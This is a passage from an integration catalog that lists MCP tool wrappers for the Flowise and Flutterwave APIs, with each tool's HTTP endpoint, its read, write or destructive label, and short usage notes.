chatflow. DELETE /chatflows/{id}. Delete a chatflow by ID. DELETE /api/v1/flowise/chatflows/{id}. Scopes: api. flowise_delete_chatmessage_by_id (write, destructive) — Delete all chat messages. DELETE /chatmessage/{id}. Delete all chat messages for a specific chatflow. DELETE /api/v1/flowise/chatmessage/{id}. Scopes: api. flowise_delete_document_store_chunks_by_storeid_by_loaderid_by_chunkid (write, destructive) — Delete a specific chunk from a document loader. DELETE /document-store/chunks/{storeId}/{loaderId}/{chunkId}. DELETE /api/v1/flowise/document-store/chunks/{storeId}/{loaderId}/{chunkId}. Scopes: api. flowise_delete_document_store_loader_by_storeid_by_loaderid (write, destructive) — Delete specific document loader and associated chunks from document store. DELETE /document-store/loader/{storeId}/{loaderId}. Delete specific document loader and associated chunks from document store. This does not delete data from vector store. DELETE /api/v1/flowise/document-store/loader/{storeId}/{loaderId}. Scopes: api. flowise_delete_document_store_store_by_id (write, destructive) — Delete a specific document store. DELETE /document-store/store/{id}. Deletes a document store by its ID. DELETE /api/v1/flowise/document-store/store/{id}. Scopes: api. flowise_delete_document_store_vectorstore_by_id (write, destructive) — Delete data from vector store. DELETE /document-store/vectorstore/{id}. Only data that were upserted with Record Manager will be deleted from vector store. DELETE /api/v1/flowise/document-store/vectorstore/{id}. Scopes: api. flowise_delete_tools_by_id (write, destructive) — Delete a tool by ID. DELETE /tools/{id}. Delete a specific tool by ID. DELETE /api/v1/flowise/tools/{id}. Scopes: api. flowise_delete_variables_by_id (write, destructive) — Delete a variable by ID. DELETE /variables/{id}. Delete a specific variable by ID. DELETE /api/v1/flowise/variables/{id}. Scopes: api. flowise_get_assistants (read) — List all assistants. GET /assistants. Retrieve a list of all assistants. GET /api/v1/flowise/assistants. Scopes: api. flowise_get_assistants_by_id (read) — Get assistant by ID. GET /assistants/{id}. Retrieve a specific assistant by ID. GET /api/v1/flowise/assistants/{id}. Scopes: api. flowise_get_chatflows (read) — List all chatflows. GET /chatflows. Retrieve a list of all chatflows. GET /api/v1/flowise/chatflows. Scopes: api. flowise_get_chatflows_apikey_by_apikey (read) — Get chatflow by API key. GET /chatflows/apikey/{apikey}. Retrieve a chatflow using an API key. Takes no argument: Flowise identifies the key by its own secret value, so Agentic Fabriq substitutes THIS connection's key server-side rather than accepting one as a parameter -- a key in a URL path would be written to access logs. Returns the chatflows that key is assigned to plus the chatflows assigned to no key at all, which are the ones anybody holding their Chatflow ID can already call. GET /api/v1/flowise/chatflows/apikey. Scopes: api. flowise_get_chatflows_by_id (read) — Get chatflow by ID. GET /chatflows/{id}. Retrieve a specific chatflow by ID. GET /api/v1/flowise/chatflows/{id}. Scopes: api. flowise_get_chatmessage_by_id (read) — List all chat messages. GET /chatmessage/{id}. Retrieve all chat messages for a specific chatflow. GET /api/v1/flowise/chatmessage/{id}. Scopes: api. flowise_get_document_store_chunks_by_storeid_by_loaderid_by_pageno (read) — Get chunks from a specific document loader. GET /document-store/chunks/{storeId}/{loaderId}/{pageNo}. Get chunks from a specific document loader within a document store. GET /api/v1/flowise/document-store/chunks/{storeId}/{loaderId}/{pageNo}. Scopes: api. flowise_get_document_store_store (read) — List all document stores. GET /document-store/store. Retrieves a list of all document stores. GET /api/v1/flowise/document-store/store. Scopes: api. flowise_get_document_store_store_by_id (read) — Get a specific document store. GET /document-store/store/{id}. Retrieves details of a specific document store by its ID. GET /api/v1/flowise/document-store/store/{id}. Scopes: api. flowise_get_feedback_by_id (read) — List all chat message feedbacks for a chatflow. GET /feedback/{id}. Retrieve all feedbacks for a chatflow. GET /api/v1/flowise/feedback/{id}. Scopes: api. flowise_get_leads_by_id (read) — Get all leads for a specific chatflow. GET /leads/{id}. Retrieve all leads associated with a specific chatflow. GET /api/v1/flowise/leads/{id}. Scopes: api. flowise_get_ping (read) — Ping the server. GET /ping. Ping the server to check if it is running. Answers 200 'pong' to ANYONE: it is an unauthenticated liveness check, so a success here says the instance is up and says nothing about whether the connection's API key is valid (measured 2026-09-16, on both a self-hosted instance and cloud.flowiseai.com). The credential probe deliberately uses List chatflows instead. GET /api/v1/flowise/ping. Scopes: api. flowise_get_tools (read) — List all tools. GET /tools. Retrieve a list of all tools. GET /api/v1/flowise/tools. Scopes: api. flowise_get_tools_by_id (read) — Get a tool by ID. GET /tools/{id}. Retrieve a specific tool by ID. GET /api/v1/flowise/tools/{id}. Scopes: api. flowise_get_upsert_history_by_id (read) — Get all upsert history records. GET /upsert-history/{id}. Retrieve all upsert history records with optional filters. GET /api/v1/flowise/upsert-history/{id}. Scopes: api. flowise_get_variables (read) — List all variables. GET /variables. Retrieve a list of all variables. GET /api/v1/flowise/variables. Scopes: api. flowise_patch_upsert_history (write, destructive) — Delete upsert history records. PATCH /upsert-history. Soft delete upsert history records by IDs. Soft-deletes the records named in `ids`. The wire path carries NO chatflow id, although Flowise's own OpenAPI document declares one: the route is PATCH /api/v1/upsert-history and the handler reads only the request body (verified against Flowise's route table at 3.1.4 and measured against a live instance on 2026-09-16). PATCH /api/v1/flowise/upsert-history. Scopes: api. flowise_post_assistants (write) — Create a new assistant. POST /assistants. Create a new assistant with the provided details. POST /api/v1/flowise/assistants. Scopes: api. flowise_post_chatflows (write) — Create a new chatflow. POST /chatflows. Create a new chatflow with the provided details. POST /api/v1/flowise/chatflows. Scopes: api. flowise_post_document_store_refresh_by_id (write) — Re-process and upsert all documents in document store. POST /document-store/refresh/{id}. Re-process and upsert all existing documents in document store. POST /api/v1/flowise/document-store/refresh/{id}. Scopes: api. flowise_post_document_store_store (write) — Create a new document store. POST /document-store/store. Creates a new document store with the provided details. POST /api/v1/flowise/document-store/store. Scopes: api. flowise_post_document_store_upsert_by_id (write) — Upsert document to document store. POST /document-store/upsert/{id}. POST /api/v1/flowise/document-store/upsert/{id}. Scopes: api. flowise_post_document_store_vectorstore_query (write) — Retrieval query. POST /document-store/vectorstore/query. Retrieval query for the upserted chunks. POST /api/v1/flowise/document-store/vectorstore/query. Scopes: api. flowise_post_feedback (write) — Create new chat message feedback. POST /feedback. Create new feedback for a specific chat flow. POST /api/v1/flowise/feedback. Scopes: api. flowise_post_leads (write) — Create a new lead in a chatflow. POST /leads. Create a new lead associated with a specific chatflow. POST /api/v1/flowise/leads. Scopes: api. flowise_post_prediction_by_id (write) — Send message to flow and get AI response. POST /prediction/{id}. Send a message to your flow and receive an AI-generated response. This is the primary endpoint for interacting with your flows and assistants. **Authentication**: API key may be required depending on flow settings. This is the tool that actually runs a flow and bills whatever model the flow calls. `streaming` is accepted but this integration reads the complete JSON response; file uploads are not offered here. POST /api/v1/flowise/prediction/{id}. Scopes: api. flowise_post_tools (write) — Create a new tool. POST /tools. Flowise's own description is the whole of "Create a new tool", so what the body takes comes from its Tool schema: `name`, `description`, `color`, `iconSrc`, `schema` (a JSON schema, as a STRING) and `func` (the tool's code, also a string). `id`, `createdDate` and `updatedDate` are server-assigned. The tool created here is a tool inside Flowise that its own flows can call -- not an Agentic Fabriq tool. POST /api/v1/flowise/tools. Scopes: api. flowise_post_variables (write) — Create a new variable. POST /variables. Flowise's own description is the whole of "Create a new variable", so what the body takes comes from its Variable schema: `name`, `value` and `type` (its example values are `string` and `number`). `id`, `createdDate` and `updatedDate` are server-assigned. Variables are referenced from inside a chatflow, so a value set here is readable by any flow on the instance that names it. POST /api/v1/flowise/variables. Scopes: api. flowise_post_vector_upsert_by_id (write) — Upsert vector embeddings. POST /vector/upsert/{id}. Upsert vector embeddings of documents in a chatflow. POST /api/v1/flowise/vector/upsert/{id}. Scopes: api. flowise_put_assistants_by_id (write) — Update assistant details. PUT /assistants/{id}. Update the details of an existing assistant. PUT /api/v1/flowise/assistants/{id}. Scopes: api. flowise_put_chatflows_by_id (write) — Update chatflow details. PUT /chatflows/{id}. Update the details of an existing chatflow. PUT /api/v1/flowise/chatflows/{id}. Scopes: api. flowise_put_document_store_chunks_by_storeid_by_loaderid_by_chunkid (write) — Update a specific chunk. PUT /document-store/chunks/{storeId}/{loaderId}/{chunkId}. Updates a specific chunk from a document loader. PUT /api/v1/flowise/document-store/chunks/{storeId}/{loaderId}/{chunkId}. Scopes: api. flowise_put_document_store_store_by_id (write) — Update a specific document store. PUT /document-store/store/{id}. Updates the details of a specific document store by its ID. PUT /api/v1/flowise/document-store/store/{id}. Scopes: api. flowise_put_feedback_by_id (write) — Update chat message feedback. PUT /feedback/{id}. Update a specific feedback. PUT /api/v1/flowise/feedback/{id}. Scopes: api. flowise_put_tools_by_id (write) — Update a tool by ID. PUT /tools/{id}. Update a specific tool by ID. PUT /api/v1/flowise/tools/{id}. Scopes: api. flowise_put_variables_by_id (write) — Update a variable by ID. PUT /variables/{id}. Update a specific variable by ID. PUT /api/v1/flowise/variables/{id}. Scopes: api. ================================================================================ ## Flutterwave URL: https://www.agenticfabriq.com/integrations/flutterwave Section: Integrated Tools Flutterwave — 120 MCP tools Provider key: flutterwave. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. flutterwave_delete_beneficiaries_by_id (write, destructive) — Delete a transfer beneficiary via DELETE /beneficiaries/{id} DELETE /api/v1/flutterwave/beneficiaries/{id}. Scopes: api. flutterwave_delete_payout_subaccounts_by_account_reference (write, destructive) — This section describes how to delete a Payout Subaccount on Flutterwave. via DELETE /payout-subaccounts/{account_reference} DELETE /api/v1/flutterwave/payout-subaccounts/{account_reference}. Scopes: api. flutterwave_delete_subaccounts_by_id (write, destructive) — This section describes how to delete a collection subaccount on Flutterwave. via DELETE /subaccounts/{id} DELETE /api/v1/flutterwave/subaccounts/{id}. Scopes: api. flutterwave_get_accounts_token_by_reference (read) — Fetch the Bank Account Token. via GET /accounts/token/{reference} GET /api/v1/flutterwave/accounts/token/{reference}. Scopes: api. flutterwave_get_balances (read) — Query the balances for your wallet in all currencies. via GET /balances GET /api/v1/flutterwave/balances. Scopes: api. flutterwave_get_balances_by_currency (read) — Query your wallet balance for a specific currency. via GET /balances/{currency} GET /api/v1/flutterwave/balances/{currency}. Scopes: api. flutterwave_get_banks_by_country (read) — Query all supported Banks in a specified country. via GET /banks/{country} GET /api/v1/flutterwave/banks/{country}. Scopes: api. flutterwave_get_banks_by_id_branches (read) — Query the branch code for a specific Bank. via GET /banks/{id}/branches GET /api/v1/flutterwave/banks/{id}/branches. Scopes: api. flutterwave_get_beneficiaries (read) — Get all beneficiaries via GET /beneficiaries GET /api/v1/flutterwave/beneficiaries. Scopes: api. flutterwave_get_beneficiaries_by_id (read) — Get a single transfer beneficiary details via GET /beneficiaries/{id} GET /api/v1/flutterwave/beneficiaries/{id}. Scopes: api. flutterwave_get_bill_items_by_item_code_validate (read) — This document shows you how to validate customer's details. Supported input include: meter number, smartcard number, internet account number, etc. via GET /bill-items/{item_code}/validate GET /api/v1/flutterwave/bill-items/{item_code}/validate. Scopes: api. flutterwave_get_billers (read) — Get all government agencies you can pay into via GET /billers GET /api/v1/flutterwave/billers. Scopes: api. flutterwave_get_billers_by_biller_code_items (read) — This document shows you how to fetch all bill categories on your account via GET /billers/{biller_code}/items GET /api/v1/flutterwave/billers/{biller_code}/items. Scopes: api. flutterwave_get_billers_by_biller_code_products (read) — Get all products under a government agency. via GET /billers/{biller_code}/products GET /api/v1/flutterwave/billers/{biller_code}/products. Scopes: api. flutterwave_get_billers_by_biller_code_products_by_product_code (read) — Get the amount to be paid for a product via GET /billers/{biller_code}/products/{product_code} GET /api/v1/flutterwave/billers/{biller_code}/products/{product_code}. Scopes: api. flutterwave_get_bills_by_category_billers (read) — This document shows you how to fetch all bill categories on your account via GET /bills/{category}/billers GET /api/v1/flutterwave/bills/{category}/billers. Scopes: api. flutterwave_get_bills_by_reference (read) — This document shows you how to get the status of a bill purchase via GET /bills/{reference} GET /api/v1/flutterwave/bills/{reference}. Scopes: api. flutterwave_get_bills_history (read) — This document shows you how to retrieve a history of all purchased bill services including commission earned via GET /bills/history GET /api/v1/flutterwave/bills/history. Scopes: api. flutterwave_get_bills_summary (read) — This document shows you how to retrieve a history of all purchased bill services including commission earned via GET /bills/summary GET /api/v1/flutterwave/bills/summary. Scopes: api. flutterwave_get_bulk_rates (read) — Verify bulk transfer rates via GET /bulk-rates GET /api/v1/flutterwave/bulk-rates. Scopes: api. flutterwave_get_bulk_tokenized_charges_by_bulk_id (read) — Get status of bulk Tokenized Charges via GET /bulk-tokenized-charges/{bulk_id} GET /api/v1/flutterwave/bulk-tokenized-charges/{bulk_id}. Scopes: api. flutterwave_get_bulk_tokenized_charges_by_bulk_id_transactions (read) — This endpoint allows you to get the status of a bulk tokenized charge via GET /bulk-tokenized-charges/{bulk_id}/transactions GET /api/v1/flutterwave/bulk-tokenized-charges/{bulk_id}/transactions. Scopes: api. flutterwave_get_bulk_virtual_account_numbers_by_batch_id (read) — Query virtual account information using the batch ID from the batch creation response. via GET /bulk-virtual-account-numbers/{batch_id} GET /api/v1/flutterwave/bulk-virtual-account-numbers/{batch_id}. Scopes: api. flutterwave_get_bvn_verifications_by_reference (read) — Verify a customer's consent and fetch their BVN information. via GET /bvn/verifications/{reference} GET /api/v1/flutterwave/bvn/verifications/{reference}. Scopes: api. flutterwave_get_card_bins_by_bin (read) — Retrieve the customer's card information using BINs. via GET /card-bins/{bin} GET /api/v1/flutterwave/card-bins/{bin}. Scopes: api. flutterwave_get_chargebacks (read) — This allows you to fetch all chargebacks on your account via GET /chargebacks GET /api/v1/flutterwave/chargebacks. Scopes: api. flutterwave_get_chargebacks_by_flw_ref (read) — Fetch logs for a single chargeback. via GET /chargebacks?{flw_ref}= GET /api/v1/flutterwave/chargebacks/flw_ref. Scopes: api. flutterwave_get_payment_plans (read) — This section describes how to fetch all payment plans on your account. via GET /payment-plans GET /api/v1/flutterwave/payment-plans. Scopes: api. flutterwave_get_payment_plans_by_id (read) — This section describes how to get a single payment plan via GET /payment-plans/{id} GET /api/v1/flutterwave/payment-plans/{id}. Scopes: api. flutterwave_get_payout_subaccounts (read) — Fetch all Payout Sub Accounts on your Flutterwave Account via GET /payout-subaccounts GET /api/v1/flutterwave/payout-subaccounts. Scopes: api. flutterwave_get_payout_subaccounts_by_account_reference (read) — Fetch details for a wallet. via GET /payout-subaccounts/{account_reference} GET /api/v1/flutterwave/payout-subaccounts/{account_reference}. Scopes: api. flutterwave_get_payout_subaccounts_by_account_reference_balances (read) — To fetch available balance on a payout subaccount. via GET /payout-subaccounts/{account_reference}/balances GET /api/v1/flutterwave/payout-subaccounts/{account_reference}/balances. Scopes: api. flutterwave_get_payout_subaccounts_by_account_reference_static_account (read) — Fetch the static virtual accounts for a payout subaccount via GET /payout-subaccounts/{account_reference}/static-account GET /api/v1/flutterwave/payout-subaccounts/{account_reference}/static-account. Scopes: api. flutterwave_get_payout_subaccounts_by_account_reference_transactions (read) — Fetch transaction/balance history on a payout sub account via GET /payout-subaccounts/{account_reference}/transactions GET /api/v1/flutterwave/payout-subaccounts/{account_reference}/transactions. Scopes: api. flutterwave_get_payout_subaccounts_refunds (read) — Retrieve all wallet funding reversals and refunds. via GET /payout-subaccounts/refunds GET /api/v1/flutterwave/payout-subaccounts/refunds. Scopes: api. flutterwave_get_refunds (read) — This endpoint allows developers to query previously initiated refunds. You can get information for multiple refunded transactions using the query filters. via GET /refunds GET /api/v1/flutterwave/refunds. Scopes: api. flutterwave_get_refunds_by_id (read) — This endpoint helps you query the details of a refunded transaction. it only supports querying one transaction per API call. via GET /refunds/{id} GET /api/v1/flutterwave/refunds/{id}. Scopes: api. flutterwave_get_rfq_by_id (read) — This endpoint allows you to fetch the status of your quote request. via GET /rfq/{id} GET /api/v1/flutterwave/rfq/{id}. Scopes: api. flutterwave_get_settlements (read) — Query information for multiple settled transactions. via GET /settlements GET /api/v1/flutterwave/settlements. Scopes: api. flutterwave_get_settlements_by_id (read) — Query and retrieve information for a single settlement. via GET /settlements/{id} GET /api/v1/flutterwave/settlements/{id}. Scopes: api. flutterwave_get_subaccounts (read) — This section describes how to list all collection subaccounts on Flutterwave. via GET /subaccounts GET /api/v1/flutterwave/subaccounts. Scopes: api. flutterwave_get_subaccounts_by_id (read) — This section describes how to fetch a collection subaccount on Flutterwave. via GET /subaccounts/{id} GET /api/v1/flutterwave/subaccounts/{id}. Scopes: api. flutterwave_get_subscriptions (read) — This endpoint allows the developers to query all subscribers (cancelled subscriber included). You can do a single or bulk query with the endpoint depending on your use case. via GET /subscriptions GET /api/v1/flutterwave/subscriptions. Scopes: api. flutterwave_get_top_bill_categories (read) — This document shows you how to query the supported bill categories by country via GET /top-bill-categories GET /api/v1/flutterwave/top-bill-categories. Scopes: api. flutterwave_get_trade_by_id (read) — This endpoint allows you to fetch the status of a trade request. via GET /trade/{id} GET /api/v1/flutterwave/trade/{id}. Scopes: api. flutterwave_get_transactions (read) — This endpoint allows developers to query previously initiated transactions. You can do a single or bulk query with the endpoint depending on your use case. via GET /transactions GET /api/v1/flutterwave/transactions. Scopes: api. flutterwave_get_transactions_by_id_events (read) — Review the timeline for a transaction from initiation to completion. via GET /transactions/{id}/events GET /api/v1/flutterwave/transactions/{id}/events. Scopes: api. flutterwave_get_transactions_by_id_verify (read) — This endpoint helps developers to query the final status of a transaction. This can be used to check transactions of all payment types after they have been attempted. via GET /transactions/{id}/verify GET /api/v1/flutterwave/transactions/{id}/verify. Scopes: api. flutterwave_get_transactions_fee (read) — This endpoint helps developers query the fees expected to be paid for a particular transaction. This endpoint only returns fees for collections i.e. inflows. via GET /transactions/fee GET /api/v1/flutterwave/transactions/fee. Scopes: api. flutterwave_get_transactions_verify_by_reference (read) — Verify transactions using the Merchant's transaction reference. via GET /transactions/verify_by_reference GET /api/v1/flutterwave/transactions/verify_by_reference. Scopes: api. flutterwave_get_transfers (read) — Fetch all transfers on your account via GET /transfers GET /api/v1/flutterwave/transfers. Scopes: api. flutterwave_get_transfers_batch_id (read) — Get the status of a bulk transfer on your account via GET /transfers?batch_id GET /api/v1/flutterwave/transfers/batch_id. Scopes: api. flutterwave_get_transfers_by_id (read) — Fetch a single transfer on your account via GET /transfers/{id} GET /api/v1/flutterwave/transfers/{id}. Scopes: api. flutterwave_get_transfers_by_id_retries (read) — Fetch transfer retry attempts for a single transfer on your account. via GET /transfers/{id}/retries GET /api/v1/flutterwave/transfers/{id}/retries. Scopes: api. flutterwave_get_transfers_fee (read) — Get applicable transfer fee via GET /transfers/fee GET /api/v1/flutterwave/transfers/fee. Scopes: api. flutterwave_get_transfers_rates (read) — This endpoint helps you understand transfer rates when making international transfers via GET /transfers/rates GET /api/v1/flutterwave/transfers/rates. Scopes: api. flutterwave_get_virtual_account_numbers_by_order_ref (read) — Retrieve virtual account information using its order reference. via GET /virtual-account-numbers/{order_ref} GET /api/v1/flutterwave/virtual-account-numbers/{order_ref}. Scopes: api. flutterwave_get_wallet_statement (read) — Fetch your wallet's transaction history for your system of records. via GET /wallet/statement GET /api/v1/flutterwave/wallet/statement. Scopes: api. flutterwave_post_accounts_resolve (write) — Resolve a bank account to get the account holder's details via POST /accounts/resolve POST /api/v1/flutterwave/accounts/resolve. Scopes: api. flutterwave_post_accounts_tokenize (write) — Generate a bank account token via E-mandate. via POST /accounts/tokenize POST /api/v1/flutterwave/accounts/tokenize. Scopes: api. flutterwave_post_beneficiaries (write) — Create a transfer beneficiary via POST /beneficiaries POST /api/v1/flutterwave/beneficiaries. Scopes: api. flutterwave_post_billers_by_biller_code_items_by_item_code_payment (write) — This document shows you how to create bill payments via POST /billers/{biller_code}/items/{item_code}/payment POST /api/v1/flutterwave/billers/{biller_code}/items/{item_code}/payment. Scopes: api. flutterwave_post_billers_by_biller_code_products_by_product_code_orders (write) — Create an order using the biller code and the product code via POST /billers/{biller_code}/products/{product_code}/orders POST /api/v1/flutterwave/billers/{biller_code}/products/{product_code}/orders. Scopes: api. flutterwave_post_bulk_bills (write) — This document shows you how to create bulk bills payment via POST /bulk-bills POST /api/v1/flutterwave/bulk-bills. Scopes: api. flutterwave_post_bulk_rates (write) — Query bulk transfer rates via POST /bulk-rates POST /api/v1/flutterwave/bulk-rates. Scopes: api. flutterwave_post_bulk_tokenized_charges (write) — Tokenize multiple cards at once. Please read our overview on bulk tokenizations before you continue. via POST /bulk-tokenized-charges POST /api/v1/flutterwave/bulk-tokenized-charges. Scopes: api. flutterwave_post_bulk_transfers (write) — This document shows you how to initiate a bulk transfer via POST /bulk-transfers POST /api/v1/flutterwave/bulk-transfers. Scopes: api. flutterwave_post_bulk_virtual_account_numbers (write) — Create Virtual Account Numbers in Bulk. via POST /bulk-virtual-account-numbers POST /api/v1/flutterwave/bulk-virtual-account-numbers. Scopes: api. flutterwave_post_bvn_verifications (write) — Request consent for BVN verification. via POST /bvn/verifications POST /api/v1/flutterwave/bvn/verifications. Scopes: api. flutterwave_post_charges_by_flw_ref_capture (write) — Capture funds for initiated pre-authorization payments. via POST /charges/{flw_ref}/capture POST /api/v1/flutterwave/charges/{flw_ref}/capture. Scopes: api. flutterwave_post_charges_by_flw_ref_refund (write) — Refund pre-authorization transactions. via POST /charges/{flw_ref}/refund POST /api/v1/flutterwave/charges/{flw_ref}/refund. Scopes: api. flutterwave_post_charges_by_flw_ref_void (write) — Release hold (lien) on pre-authorized transactions. via POST /charges/{flw_ref}/void POST /api/v1/flutterwave/charges/{flw_ref}/void. Scopes: api. flutterwave_post_charges_type_account_ach_uk (write) — Charge customers using their UK and European bank accounts. We recommend reading the [method overview](/v3.0.0/docs/uk-and-eu) before proceeding. via POST /charges?type=account-ach-uk POST /api/v1/flutterwave/charges/type-account-ach-uk. Scopes: api. flutterwave_post_charges_type_ach_payment (write) — Collect ACH payments for USD and ZAR transactions. We recommend you read the [method overview](/v3.0.0/docs/ach-payment) before you proceed. via POST /charges?type=ach_payment POST /api/v1/flutterwave/charges/type-ach_payment. Scopes: api. flutterwave_post_charges_type_bank_transfer (write) — Generate dynamic virtual accounts for instant payments via bank transfers. We recommend you read the method [overview](/v3.0.0/docs/bank-transfer-1) before you proceed. via POST /charges?type=bank_transfer POST /api/v1/flutterwave/charges/type-bank_transfer. Scopes: api. flutterwave_post_charges_type_capitec (write) — Collect capitec payments with Flutterwave. we recommend you read the [overview](/v3.0.0/docs/south-africa-account-charge) before you proceed. via POST /charges?type=capitec POST /api/v1/flutterwave/charges/type-capitec. Scopes: api. flutterwave_post_charges_type_card (write) — Collect card payments with Flutterwave. We recommend you read the method [overview](/v3.0.0/docs/direct-card-charge) before you proceed. via POST /charges?type=card POST /api/v1/flutterwave/charges/type-card. Scopes: api. flutterwave_post_charges_type_enaira (write) — Accept payment from eNaira wallets. We recommend you read the [method overview](/v3.0.0/docs/enaira-payment) before you proceed. via POST /charges?type=enaira POST /api/v1/flutterwave/charges/type-enaira. Scopes: api. flutterwave_post_charges_type_fawry_pay (write) — Receive Fawry payments from customers in Egypt. Read the [overview](/v3.0.0/docs/fawry-pay) for this payment method before proceeding. via POST /charges?type=fawry_pay POST /api/v1/flutterwave/charges/type-fawry_pay. Scopes: api. flutterwave_post_charges_type_mobile_money_franco (write) — Collect mobile money payments from customers in Francophone countries. This method supports payment from Cameroon, Cote d'Ivoire, Mali and Senegal. We recommend you read the [method overview](/v3.0.0/docs/francophone) before you proceed. via POST /charges?type=mobile_money_franco POST /api/v1/flutterwave/charges/type-mobile_money_franco. Scopes: api. flutterwave_post_charges_type_mobile_money_ghana (write) — Collect mobile money payments from customers in Ghana. We recommend you read the [method overview](/v3.0.0/docs/ghana) before you proceed. via POST /charges?type=mobile_money_ghana POST /api/v1/flutterwave/charges/type-mobile_money_ghana. Scopes: api. flutterwave_post_charges_type_mobile_money_rwanda (write) — Collect mobile money payments from customers in Rwanda. We recommend you read the [method overview](/v3.0.0/docs/rwanda) before you proceed. via POST /charges?type=mobile_money_rwanda POST /api/v1/flutterwave/charges/type-mobile_money_rwanda. Scopes: api. flutterwave_post_charges_type_mobile_money_tanzania (write) — This document describes how to collect payments via Tanzania mobile money. via POST /charges?type=mobile_money_tanzania POST /api/v1/flutterwave/charges/type-mobile_money_tanzania. Scopes: api. flutterwave_post_charges_type_mobile_money_uganda (write) — Receive mobile money payments from customers in Uganda. We recommend you read the [method overview](/v3.0.0/docs/uganda) before you proceed. via POST /charges?type=mobile_money_uganda POST /api/v1/flutterwave/charges/type-mobile_money_uganda. Scopes: api. flutterwave_post_charges_type_mobile_money_zambia (write) — This document describes how to collect payments via Zambia mobile money. via POST /charges?type=mobile_money_zambia POST /api/v1/flutterwave/charges/type-mobile_money_zambia. Scopes: api. flutterwave_post_charges_type_mono (write) — Charge Nigerian bank accounts using Flutterwave. We recommend you read the [method overview](/v3.0.0/docs/nigeria) before you proceed. via POST /charges?type=mono POST /api/v1/flutterwave/charges/type-mono. Scopes: api. flutterwave_post_charges_type_mpesa (write) — Collect Mpesa payments from customers in Kenya. We recommend you read the [method overview](/v3.0.0/docs/m-pesa) before you proceed. via POST /charges?type=mpesa POST /api/v1/flutterwave/charges/type-mpesa. Scopes: api. flutterwave_post_charges_type_opay (write) — Collect payments from OPay wallets. We cover this payment method in more details in the [method overview](/v3.0.0/docs/opay). via POST /charges?type=opay POST /api/v1/flutterwave/charges/type-opay. Scopes: api. flutterwave_post_charges_type_qr (write) — Generate QR images for NQR payments. We recommend you read the [method overview](/v3.0.0/docs/nibss-qr) before you proceed. via POST /charges?type=qr POST /api/v1/flutterwave/charges/type-qr. Scopes: api. flutterwave_post_charges_type_ussd (write) — Collect USSD payments from customers in Nigeria. We recommend you read the [method overview](/v3.0.0/docs/ussd) before you proceed. via POST /charges?type=ussd POST /api/v1/flutterwave/charges/type-ussd. Scopes: api. flutterwave_post_charges_type_voucher_payment (write) — Charge South African customers via 1Voucher. We recommend you read the [method overview](/v3.0.0/docs/1voucher) before you proceed. via POST /charges?type=voucher_payment POST /api/v1/flutterwave/charges/type-voucher_payment. Scopes: api. flutterwave_post_otps (write) — Create OTP strings of varying lengths. via POST /otps POST /api/v1/flutterwave/otps. Scopes: api. flutterwave_post_otps_by_reference_validate (write) — Validate an OTP. via POST /otps/{reference}/validate POST /api/v1/flutterwave/otps/{reference}/validate. Scopes: api. flutterwave_post_payment_plans (write) — Create a payment plan for your customers. via POST /payment-plans POST /api/v1/flutterwave/payment-plans. Scopes: api. flutterwave_post_payments (write) — Generate Flutterwave checkout to receive payments from customers. Learn more about our [checkout](/v3.0.0/docs/flutterwave-standard-1) via POST /payments POST /api/v1/flutterwave/payments. Scopes: api. flutterwave_post_payout_subaccounts (write) — This document shows you how to create a payout/transfer subaccount on Flutterwave. via POST /payout-subaccounts POST /api/v1/flutterwave/payout-subaccounts. Scopes: api. flutterwave_post_payout_subaccounts_refunds (write) — Make wallet funding reversals via POST /payout-subaccounts/refunds POST /api/v1/flutterwave/payout-subaccounts/refunds. Scopes: api. flutterwave_post_rfq (write) — This page shows you how to create a request for quote. via POST /rfq POST /api/v1/flutterwave/rfq. Scopes: api. flutterwave_post_subaccounts (write) — This document shows you how to create a subaccount on Flutterwave via POST /subaccounts POST /api/v1/flutterwave/subaccounts. Scopes: api. flutterwave_post_tokenized_charges (write) — Create a tokenized charge with a card or bank account token. We recommend that you read our [overview](/v3.0.0/docs/tokenization) before you proceed with your integration. via POST /tokenized-charges POST /api/v1/flutterwave/tokenized-charges. Scopes: api. flutterwave_post_trades (write) — This endpoint is used to initiate trade using created quotes. via POST /trades POST /api/v1/flutterwave/trades. Scopes: api. flutterwave_post_transactions_by_id_refund (write) — This endpoint allows you to create a refund for any transaction that is being disputed. Kindly note that refunds initiated usually take between 3-15 working days to be completed. via POST /transactions/{id}/refund POST /api/v1/flutterwave/transactions/{id}/refund. Scopes: api. flutterwave_post_transactions_by_id_resend_hook (write) — This endpoint helps you resend webhooks from failed sending queues to your server. via POST /transactions/{id}/resend-hook POST /api/v1/flutterwave/transactions/{id}/resend-hook. Scopes: api. flutterwave_post_transfers (write) — This will show you how to initiate a transfer via POST /transfers POST /api/v1/flutterwave/transfers. Scopes: api. flutterwave_post_transfers_by_id_retries (write) — This helps you retry a previously failed transfer. via POST /transfers/{id}/retries POST /api/v1/flutterwave/transfers/{id}/retries. Scopes: api. flutterwave_post_upload_image (write) — Submit evidence to dispute chargebacks. via POST /upload_image POST /api/v1/flutterwave/upload_image. Scopes: api. flutterwave_post_validate_charge (write) — Validate a pending transaction using an OTP. via POST /validate-charge POST /api/v1/flutterwave/validate-charge. Scopes: api. flutterwave_post_virtual_account_numbers (write) — Create a Virtual Account for Your Customer. via POST /virtual-account-numbers POST /api/v1/flutterwave/virtual-account-numbers. Scopes: api. flutterwave_post_virtual_account_numbers_by_order_ref (write) — This section explains how to deactivate and reactivate `static virtual accounts`. Reactivation is only supported for NGN virtual accounts generated by Flutterwave MFB. via POST /virtual-account-numbers/{order_ref} POST /api/v1/flutterwave/virtual-account-numbers/{order_ref}. Scopes: api. flutterwave_put_accounts_token_by_reference (write) — Update the status of a customer's account token. via PUT /accounts/token/{reference} PUT /api/v1/flutterwave/accounts/token/{reference}. Scopes: api. flutterwave_put_chargebacks_by_id (write) — Action chargebacks raised against your account. via PUT /chargebacks/{id} PUT /api/v1/flutterwave/chargebacks/{id}. Scopes: api. flutterwave_put_payment_plans_by_id (write) — This endpoint help the merchant/developer update an existing payment plan. via PUT /payment-plans/{id} PUT /api/v1/flutterwave/payment-plans/{id}. Scopes: api. flutterwave_put_payment_plans_by_id_cancel (write) — This endpoint help the merchant/developer cancel an existing payment plan. via PUT 